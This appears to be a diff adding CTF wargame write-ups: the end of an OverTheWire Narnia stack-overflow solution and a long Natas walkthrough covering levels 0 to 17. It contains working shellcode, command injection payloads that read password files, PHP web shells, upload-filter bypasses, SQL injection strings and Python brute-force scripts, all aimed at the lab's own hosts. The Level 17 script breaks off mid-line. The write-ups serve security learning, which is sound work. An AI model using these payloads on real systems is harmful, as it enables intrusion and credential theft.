0x080484fd <+185>: leave + 0x080484fe <+186>: ret +End of assembler dump. +``` + +We put a breakpoint right before the Stack ends: + +```sh +(gdb) b *main+182 +Breakpoint 1 at 0x80484fa +``` + +Running: + +```sh +(gdb) r +Starting program: /games/narnia/narnia4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +``` + +We see that the frame starts at **0xffffd4cc**: + +```sh +(gdb) x/90xw $esp +0xffffd4a0: 0xffffd4cc 0xffffd7be 0x00000021 0xf7ff7d54 +0xffffd4b0: 0xf7e2ae38 0x00000000 0x00000026 0xffffffff +0xffffd4c0: 0x00000000 0x00000000 0x00000001 0x41414141 +0xffffd4d0: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd4e0: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd4f0: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd500: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd510: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd520: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd530: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd540: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd550: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd560: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd570: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd580: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd590: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd5a0: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd5b0: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd5c0: 0x41414141 0x41414141 0x41414141 0x00000000 +0xffffd5d0: 0x08048500 0x00000000 0x00000000 0xf7e404b3 +0xffffd5e0: 0x00000002 0xffffd674 0xffffd680 0xf7fcf000 +0xffffd5f0: 0x00000000 0xffffd61c 0xffffd680 0x00000000 +0xffffd600: 0x0804824c 0xf7fcaff4 +``` + +Taking a look at the information of the frame gives us the return address, from which we find the size of the Stack: + +```sh +(gdb) i f +Stack level 0, frame at 0xffffd5e0: + eip = 0x80484fa in main; saved eip 0xf7e404b3 + Arglist at 0xffffd5d8, args: + Locals at 0xffffd5d8, Previous frame's sp is 0xffffd5e0 + Saved registers: + ebp at 0xffffd5d8, edi at 0xffffd5d4, eip at 0xffffd5dc +(gdb) p 0xffffd5dc-0xffffd4cc +$1 = 272 +``` + + + +### Step 4: Writing and Applying the Exploit + +We know that the Stack has a size of 272 bytes and that the return address is **0xffffd5dc**. If we add the return address, it sums to 276. + +Now we have some freedom to choose where to place our shellcode. Let's say, we place it somewhere in the middle, say, at the position 134. In the memory, we get: ```0xffffd5cc - 134 = 0xffffd546```. + +Since 276 minus 134 is 142, if we point the return address to **0xffffd546**, it will go to the 142th position in the Stack and execute whatever is there. We want to make sure that the return address will always end in the shellcode address and for this reason, we fill the addresses around with NOPs. + + +We will borrow the shellcode from the previous levels, which has size of 25 bytes: + +``` +\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80 +``` + +Considering the values above, we can write the following exploit: + +``` +`python -c "print '\x90'*142 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*105 + '\x46\xd5\xff\xff'"` +``` + +We could have used another address to craft another version of the exploit. Then we would have to simply adjust our NOPs and our paddings. For example, ```0xffffd5cc - 120 = 0xffffd554```: + +``` +`print -c "'\x90'*156 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*91 + '\x54\xd5\xff\xff'" ` +``` + +They both work. + +We finally apply our exploit: +``` +narnia4@melinda:/tmp$ python -c "print '\x90'*156 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*91 + '\x54\xd5\xff\xff'" +������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��P��� + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT��� +narnia4@melinda:/tmp$ /narnia/narnia4 `python -c "print '\x90'*156 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*91 + '\x54\xd5\xff\xff'"` +$ whoami +narnia5 +``` diff --git a/CTFs_and_WarGames/WARGAMES/natas.md b/CTFs_and_WarGames/WARGAMES/natas.md new file mode 100644 index 0000000..0401660 --- /dev/null +++ b/CTFs_and_WarGames/WARGAMES/natas.md @@ -0,0 +1,1432 @@ +# Exploiting the Web in 20 Lessons (Natas) + + +[Natas]: http://overthewire.org/wargames/natas/ + + +---- + +## No scripting required + +### Level 0 and 1: Simple source code inspection + +The first two levels start with a simple HTML page. No hints. + +The first thing we do is to take a look at the source code. + +In the 0th level, the password is straight from the there. + + +In the first level, we need to disable **JavaScript** so you can right click it: + +```html +<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;"> +``` + +Too easy. + + +### Level 2: Source code inspection for directories + + +Looking at the source code in the second level reveals: + +```html +There is nothing on this page +<img src="files/pixel.png"> +``` + +Well, this gives us a hint about the folder **files**. + +Taking a look at: + +> http://natas2.natas.labs.overthewire.org/files/ + + +gives a file ```users.txt``` with the password. + + + + +### Level 3: Robots.txt + +Looking at the source code, we see this comment: + +``` +<!-- No more information leaks!! Not even Google will find it this time... --> +``` + +In general, websites use a file called **[robots.txt]** to tell search engines what should be indexed. + +Looking at: + +> http://natas3.natas.labs.overthewire.org/robots.txt + +[robots.txt]: http://en.wikipedia.org/wiki/Robots_exclusion_standard + + +We find: + +``` +User-agent: * +Disallow: /s3cr3t/ +``` + +Looking at the content of the folder */s3cr3t/* revels: + +``` +Index of /s3cr3t + +[ICO] Name Last modified Size Description +[DIR] Parent Directory - +[TXT] users.txt 12-Jul-2013 13:35 40 +``` + +Which give us the password file: + +> http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt + + + + +### Level 4: Changing the referer tag + +In this level, the front page shows this message: + +```html +Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/index.php" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/" +<br/> +<div id="viewsource"><a href="index.php">Refresh page</a></div> +``` + +The server thinks we are coming from a page that is indicated in the **[referer]** tag in the headers. + +The referer is a (historically misspelled) tag that carries the address of the URL that linked to the address we are requesting. + + +There are many ways to tamper this. While we could use browser plugins such as [tampermonkey] or [modify-headers], the good old **curl** do it quickly: + +[referer]: http://en.wikipedia.org/wiki/HTTP_referer + + +```sh +$ curl --user natas4:************************ http://natas4.natas.labs.overthewire.org/index.php --referer "http://natas5.natas.labs.overthewire.org/" +``` + + +[tampermonkey]: https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?hl=en +[modify-headers]: https://chrome.google.com/webstore/detail/modify-headers-for-google/innpjfdalfhpcoinfnehdnbkglpmogdi?hl=en-US + + + +### Level 5: Tampering cookies + +When we log in the 5th level, the front page says: + +``` +Access disallowed. You are not logged in +``` + +Inspecting the source does not give any additional information. + +We check the elements of the page. There is a cookie named *loggedin* with value **0**. What happens if we change it to **1**? + +Using the [edit this cookie] plugin, we are able to edit it and get the next password. + + +[edit this cookie]: http://www.editthiscookie.com/start/ + + + +### Level 6: Source code inspection for directories II + +This level comes with a PHP form. We take a look at the source code: + +```php +<? +include "includes/secret.inc"; + + if(array_key_exists("submit", $_POST)) { + if($secret == $_POST['secret']) { + print "Access granted. The password for natas7 is <censored>"; + } else { + print "Wrong secret"; + } + } +?> +<form method=post> +Input secret: <input name=secret><br> +<input type=submit name=submit> +</form> +``` + +Double LOL. + +We just need to inspect that first URL to get the value of *$secret*: + +> http://natas6.natas.labs.overthewire.org/includes/secret.inc + +Submitting this value in the input form gives us the password. + + +### Level 7: Modifying URLs + +This level has the following hint in its PHP source code: + +```html +<div id="content"> +<a href="index.php?page=home">Home</a> +<a href="index.php?page=about">About</a> +<br> +<br> +this is the front page +<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 --> +</div> +``` + +Another easy one. + +Instead of *page=home* we change it to: + +>page=/etc/natas_webpass/natas8 + +We then get our password at: + +> http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8 + + + +### Level 8: String decoding + +This level comes with a PHP form, similar to the 6th level. We take a look at the code source: + +```php +<? +$encodedSecret = "3d3d516343746d4d6d6c315669563362"; +function encodeSecret($secret) { + return bin2hex(strrev(base64_encode($secret))); +} +if(array_key_exists("submit", $_POST)) { + if(encodeSecret($_POST['secret']) == $encodedSecret) { + print "Access granted. The password for natas9 is <censored>"; + } else { + print "Wrong secret"; + } +} +?> +``` + +Simple. The secret is encoded in some obscuration. Funny enough, it uses the PHP function [strrev] to reverse the string. + +We perform the following operations to recover the variable *$secret* from the variable *$encodedSecret*: + +I - Decode hexadecimal to binary (*bin2hex*): + +```python +>>> SECRET.decode('hex') +'==QcCtmMml1ViV3b' +``` + + +II - Reverse the string (*strrev*): + +```python +>>> SECRET.decode('hex')[::-1] +'b3ViV1lmMmtCcQ==' +``` + +III - Base64 decode (*base64_encode*): + +```python +>>> SECRET.decode('hex')[::-1].decode('base64') +'oubWYf2kBq' +``` + +We submit this last string in the input-form, giving us the password. + + +[strrev]: http://php.net/manual/en/function.strrev.php + + + +------ + +## I'm bored. Can we do something actually cool? + +Yes, we can. + + +### Level 9: OS Command Injection + +This level's page has a search form. If we try to submit a word, for example *secret*, we get several variations of this word: + + + + + +We inspect the source code: + +``` +<h1>natas9</h1> +<div id="content"> +<form> +Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br> +</form> +Output: +<pre> +<? +$key = ""; +if(array_key_exists("needle", $_REQUEST)) { + $key = $_REQUEST["needle"]; +} +if($key != "") { + passthru("grep -i $key dictionary.txt"); +} +?> +</pre> +``` + +If we try inputs such as \*, "", or \n, the query shows the entire list of words inside the file *dictionary.txt*. We tried that, but no password there. + +Taking a closer look to the code, we notice the PHP function [passthru](), which is used to execute an external command. + +Since the variable **$key** is **not sanitized**, we can add a crafted input to it to inject a code that displays the password at the folder */etc/natas_webpass/natas10*. This type of attack is called [OS command injection]. + +What should we add to the original *grep* command? + +In **Bash**, the *semicolon* permits putting more than one command on the same line. Adding a **;** to the input allows us to add a **cat** after that. + +The crafted input is: +``` +; cat /etc/natas_webpass/natas10 +``` +This gives us the password. + + + + +[passthru]: http://php.net/manual/en/function.passthru.php +[OS command injection]: https://www.owasp.org/index.php/OS_Command_Injection + + + + +### Level 10: OS Command Injection II + +This level starts with the same search form from the previous level. However, this time, we get the warning: + +> For security reasons, we now filter on certain characters. + +We take a look at the source code: + +```php +<pre> +<? +$key = ""; +if(array_key_exists("needle", $_REQUEST)) { + $key = $_REQUEST["needle"]; +} +if($key != "") { + if(preg_match('/[;|&]/',$key)) { + print "Input contains an illegal character!"; + } else { + passthru("grep -i $key dictionary.txt"); + } +} +?> +</pre> +``` + +The difference here is an *if* clause with the function [preg_match]. This function is used to search for a pattern in a string, *i.e.*, it clears the string against the pattern **;**, **|**, and **&**. + +We cannot use the same attack as before with a semicolon! + + +We need to some other injection that does not need those symbols. + +When I was messing around in the previous level, I noticed that we could use **""** as an input. Awesome. The following input reveals the password: + +``` +"" cat /etc/natas_webpass/natas11 +``` + + + +[preg_match]: http://php.net/manual/en/function.preg-match.php + + + + +### Level 11: Cookies and XOR Encryption + +This level starts with an input form to set background color and a message: + +> cookies are protected with XOR encryption + + + + +Let's inspect the source code in several steps. First, we have this suspicious array: + + +``` +$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); +``` + +We will see soon that this array is passed to a cookie as an encrypted XOR string. + +[encrypted XOR string]:http://en.wikipedia.org/wiki/XOR_cipher + + +What happens if we manage to set *showpassword* to *yes*? This is answered in the end of the code: + +``` +if($data["showpassword"] == "yes") { + print "The password for natas12 is <censored><br>"; +} +``` +We know our way now. + + +We then have this XOR function that takes an input value, *$text*, and XOR to a variable, *$key*. So we know that XORing the output with what we sent as the input can return the content of *$key*: + +``` +function xor_encrypt($in) { + $key = '<censored>'; + $text = $in; + $outText = ''; + + // Iterate through each character + for($i=0;$i<strlen($text);$i++) { + $outText .= $text[$i] ^ $key[$i % strlen($key)]; + } + return $outText; +} +``` + +The rest of the code is only important to show that the string encoded in *base64* before it's sent to the cookie. The function in the bottom just changes the color of the background: + +``` +function loadData($def) { + global $_COOKIE; + $mydata = $def; + if(array_key_exists("data", $_COOKIE)) { + $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); + if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) { + if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { + $mydata['showpassword'] = $tempdata['showpassword']; + $mydata['bgcolor'] = $tempdata['bgcolor']; + } + } + } + return $mydata; +} +function saveData($d) { + setcookie("data", base64_encode(xor_encrypt(json_encode($d)))); +} +$data = loadData($defaultdata); +if(array_key_exists("bgcolor",$_REQUEST)) { + if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) { + $data['bgcolor'] = $_REQUEST['bgcolor']; + } +} +saveData($data); +<form> +Background color: <input name=bgcolor value="<?=$data['bgcolor']?>"> +<input type=submit value="Set color"> +</form> +``` + + +Since we know the plaintext, given by the variable *$defaultdata*, all we need is the value in the cookie. With that, we can XOR them and get our password. + +We can use the plugin I described before, [edit this cookie], to get this value: + +``` +ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw +``` + +Now, we write the following script in PHP, modifying the XOR function to take our input: +``` +<?php +$cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw'); +function xor_encrypt($in){ + $text = $in; + $key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff")); + $outText = ''; + + for($i=0;$i<strlen($text);$i++) { + $outText .= $text[$i] ^ $key[$i % strlen($key)]; + } + return $outText; +} +print xor_encrypt($cookie); +?> +``` + +Running it returns the XOR key that encrypts the *$defaultdata* variable: +```sh +$ php xor.php +qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq +``` + +The repeated pattern is obviously a key. + +The next step is to modify the value of that variable to have *showpassword* saying *yes*. Then this should be XORerd with the right key in *$key*. + +For that, we created the following script: + +``` +<?php +function xor_encrypt_mod(){ + $text = json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff")); + $key = 'qw8J'; + $outText = ''; + + for($i=0;$i<strlen($text);$i++) { + $outText .= $text[$i] ^ $key[$i % strlen($key)]; + } + return $outText; +} +print base64_encode(xor_encrypt_mod()); +?> +``` + +This results in the code we need to add to the cookie. We do this through the plugin. Refreshing the page returns our password. + + + + +### Level 12: File Inclusion Attack + + + +This challenge starts with a JPG file uploader: + + +Inspecting the source code, we see that the first function returns a random string of length 10: + +``` +function genRandomString() { + $length = 10; + $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; + $string = ""; + for ($p = 0; $p < $length; $p++) { + $string .= $characters[mt_rand(0, strlen($characters)-1)]; + } + return $string; +} +``` + +This string is used as the name of the uploaded file in the server: + +``` +function makeRandomPath($dir, $ext) { + do { + $path = $dir."/".genRandomString().".".$ext; + } while(file_exists($path)); + return $path; +} +function makeRandomPathFromFilename($dir, $fn) { + $ext = pathinfo($fn, PATHINFO_EXTENSION); + return makeRandomPath($dir, $ext); +} +``` + +However, this file's extension is given by the browser: + +``` +<form enctype="multipart/form-data" action="index.php" method="POST"> +<input type="hidden" name="MAX_FILE_SIZE" value="1000" /> +<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> +Choose a JPEG to upload (max 1KB):<br/> +<input name="uploadedfile" type="file" /><br /> +<input type="submit" value="Upload File" /> +</form> +``` + + +Finally, the last function performs the file uploading. Notice that the code does not check whether the file is actually a JPG file: + + +``` +if(array_key_exists("filename", $_POST)) { + $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); + if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { + echo "File is too big"; + } else { + if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { + echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; + } else{ + echo "There was an error uploading the file, please try again!"; + } + } +} else { +?> +``` + +#### Stating the attack: + +We still can upload whatever file we want. + +Since the file extension is changed to *jpg* in the browser side, we have control of this; we can easily tamper the POST data. + +First, let's think about the exploit we want to send to the server. Since we know that the server runs PHP, we have several possibilities in this language! + +How about the following script which uses the function [readfile()]? + +``` +<?php +readfile('/etc/natas_webpass/natas13'); +?> +``` + +[readfile()]: http://php.net/manual/en/function.readfile.php + +We could also use a [system] command: + +```php +<?php +system("cat /etc/natas_webpass/natas13"); +?> +``` + +[system]: http://php.net/manual/en/function.system.php + +Or we could even use [passthru] again: + +```php + <?php + passthru($_GET['cmd']); + ?> +``` +Any of these exploits will work. + + + + + +Now, let's work our way around the fact that the browser will attempt to change our script extension from *php* to *jpg*. + +There are several ways to fix this. An easy way is to use a proxy or extension, such as [Burp Suite] or [FireBug] to change the filename before it is sent to the server. + +We use *Burp* and the attack is stated in the following steps: + +1. Our exploit script in PHP is uploaded by the server and renamed with a random string and a *jpg* extension. + +2. We intercept the request and change the name of the file back to the name of the script with *php* extension. + +3. We send it to the server, which calls the function *MakeRandomPathFromFilename("upload","exploit.php")*. This is sent to the function MakeRandomPath('upload', '.php'). + +4. The server returns the link */upload/randomString.php*, which runs our exploit and returns the password. + + +#### Firing up Burp: + +[Burp Suite]: http://portswigger.net/burp/ +[FireBug]: http://getfirebug.com/ + +If this is your first time with Burp, [this is how you run it]. Burp works as an HTTP proxy server, where all HTTP/S traffic from your browser passes through it. I will show in details how to do this in a *nix system. + + +[this is how you run it]: http://portswigger.net/burp/help/suite_gettingstarted.html + +First, we lauch Burp: + +```sh +$ java -jar -Xmx1024m /path/to/burp.jar +``` + +Then we go to the proxy tab and then options, and we confirm Burp's Proxy listener is active at *127.0.0.1:8080*: + + + +We set the proxy configuration in our system to this address: + + + +Back in Burp, we go to *Proxy --> Intercept* and mark it ON: + + + +In the browser, we load the Natas12 page and accept the initial intercepts (forwarding it). We upload our exploit. + +Before we forward this request to the server, we open it in Burp and we change the name of the random string in *jpg* to our *php* exploit: + + + + +The browser will return the link for the file: + + + +Clicking it will reveal the password. + + +### Level 13: File Inclusion Attack II + + + +This level looks like the previous one, except by the message: + +> For security reasons, we now only accept image files! + +We take a look at the source code and the only difference from the previous level's code is an *if* clause: +```php +<? +if(array_key_exists("filename", $_POST)) { + $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); + if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { + echo "File is too big"; + } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { + echo "File is not an image"; + } else { + if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { + echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; + } else{ + echo "There was an error uploading the file, please try again!"; + } + } +} else { +?> +``` + +The clause uses the PHP function [exif_imagetype] to check whether the file is an image type. + +The way it works is by checking the first bytes of the image and seeing whether it has an image signature. This signature is known as the [magic number]. Every binary has one. + +It should be obvious that adding the right signature to a file could tamper it to look like another file type. + +#### Crafting the attack: + +We search for an [image magic number]. For *jpg*, it's the hexadecimal *ff d8 ff e0*. For *gif*, however, it's really simple: *GIF89a*. + +Let's use it! + +Adding this number to our script from the previous level, + +``` +GIF89a +<?php +readfile('/etc/natas_webpass/natas14'); +?> +``` + +and following the previous steps, leads to the password for the next level. + + +[exif_imagetype]:http://php.net/manual/en/function.exif-imagetype.php +[magic number]:http://en.wikipedia.org/wiki/List_of_file_signatures +[image magic number]:http://en.wikipedia.org/wiki/Graphics_Interchange_Format + + + +### Level 14: SQL Injection + + + +This level starts with a *username* and *password* form: + + + +Looking at the source code, we see THE connection to a MySQL server, and a SQL query to look for a record in the database: + +```php +<? +if(array_key_exists("username", $_REQUEST)) { + $link = mysql_connect('localhost', 'natas14', '<censored>'); + mysql_select_db('natas14', $link); + + $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; + if(array_key_exists("debug", $_GET)) { + echo "Executing query: $query<br>"; + } + + if(mysql_num_rows(mysql_query($query, $link)) > 0) { + echo "Successful login! The password for natas15 is <censored><br>"; + } else { + echo "Access denied!<br>"; + } + mysql_close($link); +} else { +?> +``` + +If the query returns one or more row, we get a message with the password for the next level. + +The *GET* in the *if* clause declares the parameter *debug* without checking whether this is a safe query input! + +Therefore, while a simple GET query such as: + +> http://natas14.natas.labs.overthewire.org/index.php?username=admin&password=pass + +returns: + + + + +A crafted query using [SQL Injection] (SQLi) can return whatever we want :). + +#### Crafting the attack: + +Without any injection, a regular query with words *admin* and *pass* would look like this: +``` +SELECT * from users where username="$(Username)" and password="$(Password)" +``` + +We want to inject stuff in the middle to make this query do *more things*. + +In SQLi, we need to take care of the **"** that is automatically added in the end by the server. The simplest way to do this is by including an **always true clause** at the end of everything. It can be represented by: + +``` +OR '1'='1' +``` + +So, for example, the following query would not give any error: + +``` +SELECT * from users where username="admin" and password="pass" OR "1"="1" +``` + +Now, we need to add stuff before OR! + +When we craft the right URL, we keep in mind that whitespace will be translated to *%20* and **""** will be translated to *%22*. + +Finally, the following URL: + +> http://natas14.natas.labs.overthewire.org/index.php?username=admin&password=pass%22%20OR%20%221%22=%221 + +reveals the password. + + + +[SQL Injection]: https://www.owasp.org/index.php/SQL_Injection + + + +---- + +## Now the Juice: Scripting Attacks + + + +### Level 15: SQL Injection II + + + +This level starts with a form to check the existence of some username: + + + + The source code is almost equal to the previous level, with the exception of this part: + +``` +/* +CREATE TABLE `users` ( + `username` varchar(64) DEFAULT NULL, + `password` varchar(64) DEFAULT NULL +); +*/ +``` + +And the fact that the *$query* does not have a password part and it is hygienized now: + +``` +if(array_key_exists("username", $_REQUEST)) { + $link = mysql_connect('localhost', 'natas15', '<censored>'); + mysql_select_db('natas15', $link); + $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; + if(array_key_exists("debug", $_GET)) { + echo "Executing query: $query<br>"; + } + $res = mysql_query($query, $link); + if($res) { + if(mysql_num_rows($res) > 0) { + echo "This user exists.<br>"; + } else { + echo "This user doesn't exist.<br>"; + } + } else { + echo "Error in query.<br>"; + } + mysql_close($link); +} else { +?> +``` + +We can't just modify the query to return a record because it won't accept **"**. + +However, additional information about the table's proprieties is enough for us! We are going to brute force it! + +#### Stating the Attack: + +If we check the existence of the users *nata15* or *natas17*, we get: + +> The user doesn't exist. + +However, if we check for *natas16* we verify that this user exists! Now we just need a password. + +Since checking this *natas16* will always return true, we can inject another clause to the query using the keyword AND: + + +``` +SELECT * from users where username="natas16" AND our_exploit +``` + +To pick this additional clause, we look at the [SQL wildcards and keywords] + +We can use the SQL function [SUBSTRING] and the symbol **%** to compare strings. For example, the following checks whether there is an **a** in the third position of the variable password: + + + +[SQL wildcards and keywords]: http://www.w3schools.com/sql/sql_wildcards.asp +[SUBSTRING]: http://www.1keydata.com/sql/sql-substring.html + +``` +AND SUBSTRING(password,3,1) = BINARY "a" +``` + +If SUBSTRING returns false, the entire query becomes false because of the **AND**, and we see the message: + +> This user doesn’t exist. + +If it returns true, we see + +> This user exists. + +Beautiful. + +#### Crafting the attack: + +We use Python's [request] library to craft our attack: + +[request]: http://docs.python-requests.org/en/latest/user/quickstart/ + +```python +import requests +import string + +def brute_force_password(LENGTH, AUTH, CHARS, SQL_URL1, SQL_URL2, KEYWORD): + password = '' + for i in range(1, LENGTH+1): + for j in range (len(CHARS)): + r = requests.get( ( SQL_URL1 + str(i) + SQL_URL2 + CHARS[j] ), auth=AUTH) + print r.url + if KEYWORD in r.text: + password += CHARS[j] + print("Password so far: " + password) + break + return password + +if __name__ == '__main__': + # authorization: login and password + AUTH = ('natas15', '*******************************') + + # BASE64 password and 32 bytes + CHARS = string.ascii_letters + string.digits + LENGTH = 32 + + # crafted url option 1 + SQL_URL1 = 'http://natas15.natas.labs.overthewire.org?username=natas16" AND SUBSTRING(password,' + SQL_URL2 = ',1) LIKE BINARY "' + KEYWORD = 'exists' + + print(brute_force_password(LENGTH, AUTH, CHARS, SQL_URL1, SQL_URL2, KEYWORD)) +``` + +After around 10 minutes we have our password. + +### Level 16: OS Command Injection III + + + +This level starts with a searching form: + + + +The source code is similar to the 9th and 10th levels: +``` +<pre> +<? +$key = ""; +if(array_key_exists("needle", $_REQUEST)) { + $key = $_REQUEST["needle"]; +} +if($key != "") { + if(preg_match('/[;|&`\'"]/',$key)) { + print "Input contains an illegal character!"; + } else { + passthru("grep -i \"$key\" dictionary.txt"); + } +} +?> +</pre> +``` + +The difference now is that the code is being hygienized for **`**, **"**, and **'**. The old attack adding **""** won't work. + +We need to figure out what else we can use. + + +Bash has a feature called [command substitution], where commands can be passed with: +``` +$(command) +``` + +For example, the date command: + +```sh +$ MY_CMD="$(date)" +$ echo $MY_CMD +Wed Oct 14 20:23:41 EDT 2014 +``` + +[command substitution]: http://www.tldp.org/LDP/abs/html/commandsub.html + +#### Stating the attack: + +We are going to use command substitution to craft command in the variable *$key*, which lies inside: + +``` +grep -i \"$key\" dictionary.txt +``` +We are going to add another grep! Let's call it *grep II*. + +This time we will give it the flag ```-E``` to allow the use of regular expressions. + + +So, for example, we can use the *regex wildcard* **.\*** to search for a char (say *a*) in the password string: + + +``` +$(grep -E ^a.* /etc/natas_webpass/natas17)banana +``` + +If *grep II* finds a match, it returns the char. In the other case, it won't return any output. + +Once *grep II* is over, *grep I* will do the regular search for the pattern we passed (banana). + +If *grep II* didn't return anything, a banana will be banana. If *grep II* returns a match, a banana will have this extra string added to it (abanana). + +Now we can extend this logic to each char in the password string. + +#### Crafting the attack: + +By inspection, we see that the crafted URL to check, say, *a* in the first char, should look like this: + +> http://natas16.natas.labs.overthewire.org/?needle=$(grep%20-E%20^a.*%20/etc/natas_webpass/natas17)banana&submit=Search + +So we can write the following script: + + +```python +import requests +import string + +def brute_force_password(LENGTH, AUTH, CHARS, URL1, URL2): + password = '' + for i in range(1, LENGTH+1): + for j in range (len(CHARS)): + print("Position %d: Trying %s ..." %(i, CHARS[j])) + r = requests.get( ( URL1 + password + CHARS[j] + URL2 ), auth=AUTH) + if 'bananas' not in r.text: + password += CHARS[j] + print("Password so far: " + password) + break + return password + +if __name__ == '__main__': + # authorization: login and password + AUTH = ('natas16', '****************************') + + # BASE64 password and 32 bytes + CHARS = string.ascii_letters + string.digits + LENGTH = 32 + + # crafted url + URL1 = 'http://natas16.natas.labs.overthewire.org?needle=$(grep -E ^' + URL2 = '.* /etc/natas_webpass/natas17)banana&submit=Search' + + print(brute_force_password(LENGTH, AUTH, CHARS, URL1, URL2)) +``` + + + +Around 10 minutes later, we get our password. + + + +### Level 17: SQL Injection III + + + +This level starts with a username search similar from the 14th and 15th levels: + + +``` +/* +CREATE TABLE `users` ( + `username` varchar(64) DEFAULT NULL, + `password` varchar(64) DEFAULT NULL +); +*/ +if(array_key_exists("username", $_REQUEST)) { + $link = mysql_connect('localhost', 'natas17', '<censored>'); + mysql_select_db('natas17', $link); + $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; + if(array_key_exists("debug", $_GET)) { + echo "Executing query: $query<br>"; + } + $res = mysql_query($query, $link); + if($res) { + if(mysql_num_rows($res) > 0) { + //echo "This user exists.<br>"; + } else { + //echo "This user doesn't exist.<br>"; + } + } else { + //echo "Error in query.<br>"; + } + mysql_close($link); +} else { +?> +``` + + +The difference now is that the echo commands are commented off. We can't use the same method as before to check whether we got a right char in the password. + +What other ways we can have binary indicator? + +We can play with time! + +#### Stating the Attack: + +Luckily, MySQL has a query [sleep()] that delays the next command for a number of seconds. We can use this as an injected command at the end of our former exploits: + +[sleep()]: http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep + +``` +AND SUBSTRING(password,3,1)) LIKE BINARY AND SLEEP(5) AND "1"="1 +``` + +Notice that since SLEEP() does not carry a **"** we use the *always true* clause to close the **"** added by the server. + + +A crafted URL should look like this: + +> http://natas15.natas.labs.overthewire.org/?username=natas16%22%20AND%20SUBSTRING(password,1,1)%20LIKE%20BINARY%20%22d%22%20AND%20SLEEP(320)%20AND%20%221%22=%221 + +#### Crafting the Attack: + +The new script is: + +```python +import requests +import string + +def brute_force_password(LENGTH, AUTH, CHARS, SQL_URL1, SQL_URL2): + password = '' + for i in range(1, LENGTH+1): + for j in range (len(CHARS)): + r = requests.get( ( SQL_URL1 + str(i) + SQL_URL2 + CHARS[j] + SQL_URL3 ), auth=AUTH) + 